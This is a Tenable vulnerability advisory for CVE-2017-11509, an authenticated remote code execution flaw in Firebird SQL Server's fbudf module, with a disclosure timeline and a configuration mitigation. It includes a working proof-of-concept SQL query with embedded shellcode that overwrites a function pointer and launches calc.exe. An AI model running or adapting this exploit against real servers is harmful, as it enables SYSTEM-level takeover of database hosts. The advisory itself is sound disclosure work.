Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Firebird fbudf Module Authenticated Remote Code Execution

Critical

Synopsis

While investigating CVE-2017-6369 for Firebird SQL Server, Tenable discovered an authenticated remote code execution vulnerability. The vulnerability exists because Firebird allows users to define external functions that don’t match the original definition of the entry point.

For example, the documentation for string2blob indicates it’s defined like this:

DECLARE EXTERNAL FUNCTION string2blob
   VARCHAR(300) BY DESCRIPTOR,
   BLOB RETURNS PARAMETER 2
   ENTRY_POINT 'string2blob' MODULE_NAME 'fbudf'

However, an authenticated user could declare a second external function that looks like this:

DECLARE DECLARE EXTERNAL FUNCTION a6
  VARCHAR(300) BY DESCRIPTOR,
  VARCHAR(400) BY DESCRIPTOR
  RETURNS INTEGER
  ENTRY_POINT 'string2blob' MODULE_NAME 'fbudf'

You can see that the original string2blob has a BLOB as the second parameter and the second definition has a VARCHAR(400) as the second parameter. By passing in a crafted VARCHAR during a query, an authenticated attacker can overwrite the blob_put_segment function pointer in the blobcallback struct. string2blob will eventually call the overwritten function pointer which leads to remote code execution as SYSTEM.

We wrote a proof of concept using the IE8 on Win7 (x86) virtual machine and Firebird SQL Server 2.5.7 32-bit release. The proof of concept pops calc.exe.

SQL> select a6((select x'31db648b7b308b7f0c8b7f1c8b47088b77208b3f807e0c3375f289c703783c8b577801c28b7a2001c789dd8b34af01c645813e4372656175f2817e086f63657375e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c789d9b1ff53e2fd6863616c6389e252525353535353535253ffd7' from rdb$database), (select x'11111111C8FD8503' from rdb$database)) from rdb$database;

Solution

No official solution exists. However, Tenable believes that disabling external UDF libraries from being loaded mitigates this issue. In order to achieve this, edit the default configuration from UdfAccess=Restrict to UdfAccess=None. This will prevent the fbudf module from being loaded, but it will also break other functionality relying on modules.

Additional References

Disclosure Timeline

2017-04-03 - Issue discovered
2017-04-04 - Submitted to ZDI as case xorrbit0001
2017-04-10 - ZDI responds saying they are not interested in vulnerabilities affecting this product
2017-04-10 - Tweet to @firebirdsql asking for preferred method of vuln reporting. Web site doesn't have that info.
2017-04-11 - Firebird replies, says open ticket and set security level appropriately
2017-04-11 - Tenable opens ticket CORE-5518
2017-05-16 - Tweet to @firebirdsql asking about CORE-5518, since we can't update it, assign it, etc.
2017-08-02 - Tenable emails a Firebird contact asking about the status of the ticket.
2017-08-03 - Firebird replies, saying ticket got unnoticed due to issues on their end, but are now looking at it.
2017-08-18 - Tenable emails Firebird asking for an update.
2017-08-18 - Firebird replies, but isn't clear on the actual status and if it's being fixed.
2017-08-23 - Tenable emails Firebird asking for an update.
2017-08-23 - Firebird replies, indicating they are looking at it and treating it as a serious security issue.
2017-09-21 - Tenable emails Firebird asking for an update and indicating that a 90 day disclosure policy is in effect as of August 3rd when the issue started being looked at by Firebird.
2017-11-02 - Firebird responds saying they do not intend to fix this in any current release.
2017-11-03 - Tenable assigns CVE-2017-11509.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2017-11509
Tenable Advisory ID: TRA-2017-36
Credit:
Andrew Orr, Tenable
CVSSv2 Base / Temporal Score:
9.0 / 8.1
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:C/A:C
Affected Products:
Firebird 2.5.7, 3.0.2
Risk Factor:
Critical
Additional Keywords:
CORE-5518

Advisory Timeline

11-21-2017 - [R1] Initial Release